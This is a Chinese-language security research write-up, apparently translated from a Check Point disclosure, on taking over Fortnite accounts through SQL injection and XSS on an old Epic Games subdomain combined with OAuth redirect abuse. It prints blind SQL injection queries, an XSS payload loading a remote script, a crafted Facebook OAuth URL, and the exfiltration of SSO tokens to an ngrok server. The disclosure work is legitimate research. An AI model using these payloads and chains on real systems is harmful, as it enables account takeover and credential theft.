看我如何黑掉堡壘之夜玩家賬戶
一、前言
Fortnite（堡壘之夜）是Epic Games遊戲開發商製作的一款大型流行遊戲，在虛擬世界中，Fortnite玩家的任務就是通過各種工具和武器保證自己安全，力爭成為最後一個存活的單位。
在過去幾周時間內，Check Point Research發現了Epic Game線上平臺上的多個漏洞，攻擊者可以藉助這些漏洞控制任何玩家的賬戶，瀏覽玩家個人賬戶資訊、購買V-Bucks和Fortnite遊戲內虛擬貨幣、竊聽並記錄玩家在遊戲內的聊天資訊及隱私對話。
Fortnite由美國視訊遊戲開發商Epic Games製作，該開發商估值約為50億至80億美元，而這款遊戲將近佔了其中半壁江山。這款遊戲在經濟方面炙手可熱，因此也吸引了網路犯罪分子的注意力。
之前攻擊者會誘騙玩家登入偽造的網站，這些網站號稱可以生成Fortnite遊戲中的“V-Bucks”貨幣（這些商品通常只能通過官方的Fortnite商店購買，或者在遊戲中賺取）。這些釣魚網站會誘導玩家輸入遊戲登入憑據、姓名、地址和信用卡等個人資訊，也會通過社交媒體進行傳播，宣傳玩家可以“輕鬆賺錢”以及“快速發家”。
然而，我們的研究團隊採用了更為複雜也更為“陰險”的方法，不需要使用者提供任何登入憑據。我們發現了Epic Games某些子域名的漏洞，在這些漏洞的幫助下，使用者只需點選攻擊者傳送的連結就可以發起XSS攻擊。使用者點選連結後，無需輸入任何登入憑據，攻擊者就可以立刻獲取玩家的使用者名稱及密碼。
Check Point Research向Epic Games通報了該漏洞，廠商也部署了修復補丁，保證數百萬玩家能在安全環境中繼續遊戲。
大家可以訪問 ofollow,noindex" target="_blank">此處 觀看攻擊演示視訊。
二、技術細節
Epic Games存在一些老的域名，比如“ http://ut2004stats.epicgames.com ”，我們的發現都源自於此。
SQL注入
在“ http://ut2004stats.epicgames.com ”子域名上，我們發現了一個有趣的GET請求，其中涉及到一個路徑： /serverstats.php?server=[some server code] 。
看到這裡我們提出了一個問題：如果“在請求中新增其他標誌”，會出現什麼情況？
結果伺服器返回了“Server database error”（伺服器資料庫錯誤）資訊！
這一點非常好，我們發現這很有可能存在SQL注入漏洞（此時我們認為這是一個MYSQL資料庫）。
進一步研究後，我們發現目標中部署了一款WAF產品，使用的是黑名單機制（並沒有使用白名單機制），我們首先得解決這個問題。在這個系統限制下，我們無法查詢某些系統表（如 information_schema 表）。
然而我們可以使用系統變數（ @@ ），似乎有些人忘記處理這些因素，並且我們可以藉此完成許多工。
Google一番後，我們發現 37514065 是一個有效的服務端程式碼。基於這一點，我們執行了如下查詢語句，觀察服務端返回的響應資料：
if((SUBSTR(query,from,length)=CHAR([char_number])),true,false)
如果響應資料大小為 4014 位元組，則代表查詢結果中不存在該字元。如果響應資料大小為 12609 位元組，則代表查詢結果中存在該字元。
比如， if((SUBSTR(@@version,1,1)=CHAR(52)),37514065,0) 會返回 4014 位元組：
請求資料如下：
圖1. 初始SQL注入查詢語句
響應資料如下：
圖2. 上圖SQL查詢返回4014位元組資料
更進一步， if((SUBSTR(@@version,1,1)=CHAR(53)),37514065,0) 查詢語句返回 12609 位元組，因此我們得知目標使用的是MySQL 5。
圖3. 第二次SQL注入查詢
圖4. SQL查詢語句返回12609位元組響應資料
通過這種方法，我們可以獲取一些資料，進行下一步研究。
跨站指令碼（XSS）
繼續研究後，我們發現“ http://ut2004stats.epicgames.com ”子域名中包含名為“maps”的一個網頁。我們猜測該網頁可以通過地圖名稱/id來展示比賽相關統計資料。
當我們在查詢XSS漏洞時（不管是反射型還是儲存型漏洞），我們都應該在目標頁面中找到伺服器對輸入資料的輸出，我們的確在該頁面的搜尋元件中找到了所需的輸出點。事實上，該頁面的另一個功能是搜尋欄，也是我們用於XSS漏洞的注入點。
比如：
這是我們找到的第二個突破口，表明 ut2004stats.epicgames.com 上存在XSS漏洞。該域名為 epicgames.com 的一個子域名，這一點對我們最後一個攻擊階段來說非常重要。
接管oAuth賬戶
在接下來幾天內，我們繼續搜尋是否存在其他攻擊點。
在這項研究工作一開始，我們團隊中的某個小夥伴對SSO機制非常“來電”。在直覺的指引下，我們仔細研究了SSO，的確發現Epic Games已經實現了一個通用的SSO，用來支援多個登入提供程式（Provider）。這時候我們可以進一步分析實現細節。
事實證明，當玩家點選“Sign In”按鈕登入賬戶時，Epic Games會生成包含 redirectedUrl 引數的一個URL（如下所示）。之後 accounts.epicgames.com 會使用該引數，將玩家重定向到對應的賬戶頁面。
https://accounts.epicgames.com/login?productName=epic-games⟨=en_US&redirectUrl=https%3A%2F%2Fwww.epicgames.com%2Fsite%2Fen-US%2Fhome&client_id=[cliend_id]&noHostRedirect=true
圖5. 玩家登入賬戶後的重定向連結
然而，我們很快發現重定向URL可以被篡改，將使用者重定向到 *.epicgames.com 域名內的任意web頁面。
由於我們可以控制 redirectedUrl 引數，因此可以將受害者重定向至包含XSS攻擊載荷的 ut2004stats.epicgames.com 網站：
http://ut2004stats.epicgames.com/index.php?stats=maps&SearchName=”><script%20src=%27%2f%2fbit.ly%2f2QlSHBO%27><%2fscript>
網頁上的JavaScript/">JavaScript載荷隨後會向任何SSO provider發起請求，請求中包含 state 引數， accounts.epicgames.com 隨後會使用該引數來完成認證過程。JavaScript載荷中包含一個精心構造的 state 引數。 state 引數的值包含經過Base64編碼的JSON，而該JSON資料中包含3個鍵： redirectUrl 、 client_id 以及 prodectName 。當SSO登入過程完成後，就會使用 redirectedUrl 引數進行重定向。
多個SSO Provider
如果我們嘗試登入Fortnite，就會發現Epic Games使用了多個SSO Provider：PlayStationNetwork、Xbox Live、Nintendo、Facebook以及Google+。隨後我們發現，我們可以在這些SSO Provider上使用前文描述的技巧。這裡我們以Facebook為例來演示。
如下所示，我們嘗試構造 state 引數，使XSS載荷能夠將使用者重定向至 ut2004stats.epicgames.com ：
https://www.facebook.com/dialog/oauth?client_id=1132078350149238&redirect_uri=https://accounts.epicgames.com/OAuthAuthorized&state=eyJpc1BvcHVwIjoidHJ1ZSIsImlzQ3JlYXRlRmxvdyI6InRydWUiLCJpc1dlYiI6InRydWUiLCJvYXV0aFJlZGlyZWN0VXJsIjoiaHR0cDovL3V0MjAwNHN0YXRzLmVwaWNnYW1lcy5jb20vaW5kZXgucGhwP3N0YXRzPW1hcHMmU2VhcmNoTmFtZT0lMjIlM2UlM2NzY3JpcHQlMjBzcmM9JyUyZiUyZmJpdC5seSUyZjJRbFNIQk8nJTNlJTNjJTJmc2NyaXB0JTNlJTJmIyUyZiJ9&response_type=code&display=popup&scope=email,public_profile,user_friends
圖6. 使用XSS載荷重定向至 ut2004stats.epicgames.com
此時SSO Provider為Facebok，會返回跳轉至 accounts.epicgames.com 的重定向響應包，其中包含我們可控的 state 引數：
圖7. Facebook返回跳轉至 accounts.epicgames.com 的響應包，其中包含我們可控的state引數
隨後，Epic Games會從SSO Provider讀取 code （即SSO令牌）和攻擊者構造的 state 引數，然後向Epic Games伺服器發起請求，以便完成身份認證過程：
圖8. Epic Games向伺服器發起請求，其中包含來自SSO的、由攻擊者構造的 state 引數
Epic Games伺服器沒有驗證輸入資訊，直接生成響應資料，將使用者重定向至包含XSS載荷和SSO令牌資訊的 ut2004stats.epicgames.com ：
圖9. Epic Games伺服器響應資料中沒有驗證輸入資料，將使用者重定向至包含XSS載荷和SSO令牌資訊的 ut2004stats.epicgames.com
最終，使用者會被重定向至包含漏洞的網頁，然後執行XSS載荷，攻擊者就能竊取使用者的身份認證程式碼：
圖10. 存在漏洞的網頁上會執行XSS載荷
（對Epic Games而言）這裡最大的問題在於，Epic Games伺服器並沒有驗證 state 引數的輸入資料。
請注意，使用者會被重定向到包含XSS漏洞的 ut2004stats.epicgames.com 頁面，因此即便Epic Games採用了CORS（跨域資源共享）機制， ut2004stats.epicgames.com 依然可以向 account.epicgames.com 發起請求。
繞過WAF
當執行XSS載荷時，WAF會採取措施，通知我們該請求已被禁止。顯然，這裡唯一的問題在於指令碼源URL的長度，因此我們可以縮短URL長度來繞過限制。
現在我們已經找到XSS點，可以載入JavaScript，並且在 ut2004stats.epicgames.com 上下文中執行，因此是時候寫一些JavaScript程式碼：
圖11. 用來投遞XSS載荷的JavaScript程式碼
XSS載荷
上述程式碼會開啟一個視窗，向SSO Provider伺服器（這裡為Facebook）發起oAuth請求，請求中包含使用者的所有cookie資訊以及我們構造的 state 引數。
Facebook隨後會返回響應包，將使用者重定向至 account.epicgames.com ，其中包含SSO令牌（ code 引數）以及攻擊者先前構造的 state 引數。
由於使用者已經登入Facebook賬戶，因此 account.epicgames.com 伺服器會重定向至在 state 引數中找到的URL地址。在這個例子中，重定向地址為 ut2004stats.epicgames.com ，其中包含XSS載荷以及Facebook使用者的oAuth令牌。
最終，請求中的令牌資訊會發送至攻擊者的伺服器（這裡我們使用的是ngrok伺服器： 0aa62240.ngrok.io ）。
圖12. Ngrok伺服器收到包含SSO令牌的請求
圖13. Ngrok伺服器收到包含SSO令牌的請求
現在攻擊者已經收到使用者的Facebook令牌資訊，可以登入受害者的賬戶。
圖14. 攻擊者成功獲取使用者的Facebook令牌